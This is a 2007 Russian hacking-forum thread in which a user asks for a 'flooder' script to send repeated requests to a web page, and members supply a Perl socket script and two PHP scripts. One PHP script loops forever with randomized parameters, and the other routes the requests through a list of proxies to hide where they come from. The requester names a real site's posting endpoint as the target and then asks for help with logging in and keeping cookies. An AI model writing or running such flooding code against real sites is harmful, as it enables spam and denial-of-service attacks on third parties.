ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Элементарный флудер
  #1  
Старый 08.05.2007, 02:38
Аватар для Napalmed
Napalmed
Новичок
Регистрация: 07.05.2007
Сообщений: 15
Провел на форуме:
64648

Репутация: 25
Post Элементарный флудер

Люди, нужен самый банальный и простой скрипт, который будет заданное количество раз обращаться к странице и передавать ей статичные параметры

Код:
http://domain.com/index.php?id1=xxx&id2=xxxx
Ну то есть тупо флудер. Готовые решения, найденные в сети, либо не подходят, либо лагают...

Может кто-нибудь набросать код? На чём угодно - яваскрипт, пхп, перл... Буду очень благодарен.
 
Ответить с цитированием

  #2  
Старый 08.05.2007, 07:13
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Код:
#!/usr/bin/perl

use IO::Socket;

for(1..2){
  print &GetPage('domain.com', '/index.php?id1='.rand(99999).'&id2='.rand(999999));
}

sub GetPage {
   local($serv, $page, $ret, $buf)=@_;

   my $s = IO::Socket::INET->new(
	PeerAddr => $serv,
	PeerPort => 80,
	Proto => 'tcp',
	Type => SOCK_STREAM) or return 0;

   print $s join("\r\n", (
	"GET $page HTTP/1.1",
	"Host: $serv",
	'Accept: */*',
	"Referer: http://$serv$page",
	'User-Agent: MSIE 6.0',
	'Connection: Close',
	'',''));

  while(read $s, $buf, 4096){ $ret.=$buf }

  close $s;

  return $ret;
}
 
Ответить с цитированием

Спасибо.
  #3  
Старый 08.05.2007, 09:39
Аватар для Napalmed
Napalmed
Новичок
Регистрация: 07.05.2007
Сообщений: 15
Провел на форуме:
64648

Репутация: 25
По умолчанию Спасибо.

Спасибо!

Теперь ещё хотелось бы интерпретацию на других языках... Есть тут любители?
 
Ответить с цитированием

  #4  
Старый 08.05.2007, 10:15
Аватар для Napalmed
Napalmed
Новичок
Регистрация: 07.05.2007
Сообщений: 15
Провел на форуме:
64648

Репутация: 25
По умолчанию

Вот сцуко! Не хочет работать! Залил на сервер - выдаёт 500
Проверяю на денвере - если не писать в начале
Цитата:
print "Content-type: text/html\n\n";
, то снова ошибка 500 и пишет в лог

Цитата:
[Tue May 08 10:08:40 2007] [error] [client 127.0.0.1] malformed header from script. Bad header=HTTP/1.1 302 Found: /home/localhost/cgi-bin/da.pl
Если Content-type писать, то скрипт выводит (дважды, конечно) все параметры: То есть кодировку, HTTP, сам запрос, и... и нечего. Эффекта никакого =( Я ещё и перл не знаю, скажите, я туплю?
 
Ответить с цитированием

  #5  
Старый 08.05.2007, 11:51
Аватар для KSURi
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

2hidden

чтение ответа в данном случае только замедлит работу флудера
 
Ответить с цитированием

  #6  
Старый 08.05.2007, 12:20
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

PHP код:
<?
set_time_limit
(0);
    
$host 'www.domain.com';
    while(
true) {
    
$path '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
    
$fp =  fsockopen($host80$errno$errstr30);
    if(
$fp)
   
// ;)
    
{
        
$headers "GET $path HTTP/1.1\r\n";
        
$headers.= "Host: $host\r\n";
        
$headers.= "Connection: Close\r\n\r\n";
        
fwrite($fp$headers);
        while(!
feof($fp))
        {
        }
        }
        
fclose($fp);
    }
?>
Так.
Или через прокси.(Больная тема).
PHP код:
<?
    $host 
"www.domain.com";
    
$path '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy fopen('proxy.txt'r);
$proxy fread($f_proxy65000);
$proxy_server explode("\n"$proxy);
$n=count($proxy_server);
for (
$i=0$i<=count($proxy_server)-1$i++)
 {
  
$proxy_serv[$i] = explode(":"$proxy_server[$i]);
 }
fclose($f_proxy);

for (
$i=0$i<count($proxy_serv); $i++)
{
    
$fp =  fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno$errstr10);
    if(
$fp)
   
// ;) 
    
{
        
$headers "GET $path HTTP/1.1\r\n";
        
$headers.= "Host: $host\r\n";
        
$headers.= "Connection: Close\r\n\r\n";

        
fwrite($fp$headers);
        while(!
feof($fp))
        {
            
$rez_data fread($fp,1024);
           
// здесь код для обработки ответа
          //А лучше действительно не           //принимать ответ.
        
}
        
fclose($fp);
    }
    else
    {
        echo 
"$errno $errstr";
    }
}
?>

Последний раз редактировалось BlackLogic; 08.05.2007 в 12:24..
 
Ответить с цитированием

  #7  
Старый 08.05.2007, 12:33
Аватар для Napalmed
Napalmed
Новичок
Регистрация: 07.05.2007
Сообщений: 15
Провел на форуме:
64648

Репутация: 25
По умолчанию

)))
Спасибо!
На моём примере (это www.emo.nnov.ru/index.php?id=626&id2=1&posting=true&title=Титл +поста&text=текст&redirect=1 ) не работает, но это не из-за скрипта, полагаю. ХЗ... Будем искать, в чём дело.
 
Ответить с цитированием

  #8  
Старый 08.05.2007, 12:55
Аватар для Napalmed
Napalmed
Новичок
Регистрация: 07.05.2007
Сообщений: 15
Провел на форуме:
64648

Репутация: 25
По умолчанию

ДЕЛО В АВТОРИЗАЦИИ.

Господа, я дураг, скрипт должен сначала авторизоваться на сервере и сохранить где-то печеньки... =(

BlackLogic, на тебя вся надежда! Процедура авторизации...
 
Ответить с цитированием

  #9  
Старый 08.05.2007, 19:45
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Дай сайт...
 
Ответить с цитированием

  #10  
Старый 08.05.2007, 19:46
Аватар для Developer
Developer
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме:
125505

Репутация: 116
По умолчанию

Вот пока есть пара свободных минут, мог бы написать Только я не знаю какие куки принимает/отдает сервер.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Флудер ля форума Ucoz SMERSH PHP, PERL, MySQL, JavaScript 5 24.07.2007 08:37
Обменяю icq флудер на sms флудер [Pro.Stor] Разное - Покупка, продажа, обмен 4 22.04.2007 13:32
Флудер для чатов на Voodoo движке NaX[no]rT Чаты 5 06.04.2006 20:54



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ